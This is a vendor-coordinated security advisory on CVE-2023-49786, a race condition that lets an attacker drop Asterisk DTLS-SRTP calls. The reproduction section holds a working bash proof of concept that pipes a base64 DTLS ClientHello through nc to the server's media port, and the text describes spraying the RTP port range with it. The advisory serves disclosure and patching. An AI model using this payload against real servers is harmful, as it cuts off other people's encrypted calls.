[ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation

["Sandro Gauci" <sandro () enablesecurity com>]

# Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation

- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race
- Vendor Security Advisory: https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq
- Other references: CVE-2023-49786
- Tested vulnerable versions: 20.1.0
- Timeline:
        - Report date: 2023-09-27
        - Triaged: 2023-09-27
        - Fix provided for testing: 2023-11-09
        - Vendor release with fix: 2023-12-14
        - Enable Security advisory: 2023-12-15

## TL;DR

When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of Service due to a race condition in the 
hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted 
calls during the attack.

## Description

Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport 
Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an 
attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to 
the port on the Asterisk server that is expecting packets from the caller, a DTLS error is generated. This results in 
the media session being torn down, which is followed by teardown at signaling (SIP) level too.

This behavior was tested against Asterisk version 20.1.0, which was found to be vulnerable to this issue.

The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a 
UAC (the Caller) and an Asterisk server capable of handling WebRTC calls.

Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS: 
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png

In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to Asterisk's media port 
from a different IP and port, Asterisk responded by sending a DTLS Alert to the Caller. Additionally, Asterisk 
terminated the SIP call by sending a BYE message to the Caller.

Diagram showing a call setup against Asterisk that fails due to an attacker controlled DTLS ClientHello:
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png

During a real attack, the attacker would spray a vulnerable Asterisk server with DTLS ClientHello messages. The 
attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the 
Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of 
Service.

## Impact

Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely 
on DTLS-SRTP.

## How to reproduce the issue

1. Prepare an Asterisk server with an extension configured to handle WebRTC; this may involve the following 
`pjsip.conf` and `extensions.conf` configuration updates:

    `pjsip.conf`
    ```ini
        [transport-tls-nat]
        type = transport
        protocol = wss
        bind = 172.17.0.2

        [webrtc_client]
        type=aor
        max_contacts=5
        remove_existing=yes

        [webrtc_client]
        type=auth
        auth_type=userpass
        username=3456
        password=3456

        [3456]
        type=endpoint
        aors=webrtc_client
        auth=webrtc_client
        dtls_auto_generate_cert=yes
        webrtc=yes
        context=default
        disallow=all
        allow=opus,ulaw
        ```

        `extensions.conf`
        ```ini
        [globals]

        [default]
        exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.")
                same => n,Playback(demo-congrats)
                same => n,Hangup()
        ```
1. Send an INVITE message to the target server with WebRTC SDP:

    ```default
        INVITE sip:1000@192.168.1.202 SIP/2.0
        Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU
        Max-Forwards: 70
        From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4
        To: <sip:1000@192.168.1.202>
        Contact: <sip:3456@192.168.1.202>
        Call-ID: VaglTzNRBSuvPPdw
        CSeq: 5 INVITE
        Content-Type: application/sdp
        Content-Length: 563

        v=0
        o=- 1695296401 1695296401 IN IP4 192.168.1.202
        s=-
        t=0 0
        c=IN IP4 192.168.1.202
        m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101
        a=setup:active
        a=fingerprint:sha-256 
49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3
        a=rtpmap:0 PCMU/8000/1
        a=rtpmap:8 PCMA/8000/1
        a=rtpmap:101 telephone-event/8000
        a=ice-ufrag:IOZyOSQkVywevryI
        a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr
        a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host generation 0
        a=end-of-candidates
        a=rtcp-mux
        a=rtcprsize
        a=sendrecv

        ```
1. Note Asterisk's media port and IP values, which will be used as the `<asterisk-ip>` and `<media-port>` parameters by 
the Attacker
1. When the call has been established, send a STUN binding request which has the appropriate Username, 
Message-Integrity and  Ice-Controlled properties
1. When the Binding Success Response message is received, send a DTLS ClientHello message from a (attacker-controlled) 
host, which is different from the Caller but has network access to the Asterisk server

    ```bash
        CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 
        CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"
        CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"
        CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"
        CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="
        echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip> <media-port>
        ```
1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message on its signaling channel

Note that the above steps are used to reliably reproduce the vulnerability. In the case of a real attack, the attacker 
simply has to spray the Asterisk server with DTLS messages.


## Solution and recommendations

To address this vulnerability, upgrade Asterisk to the latest version which includes the security fix. The solution 
implemented is to drop all packets from addresses that have not been validated by an ICE check.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration 
testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available 
information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with 
regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or 
consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at 
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol 
(SRTP) https://datatracker.ietf.org/doc/html/rfc5764


--
 
    Sandro Gauci, CEO at Enable Security GmbH

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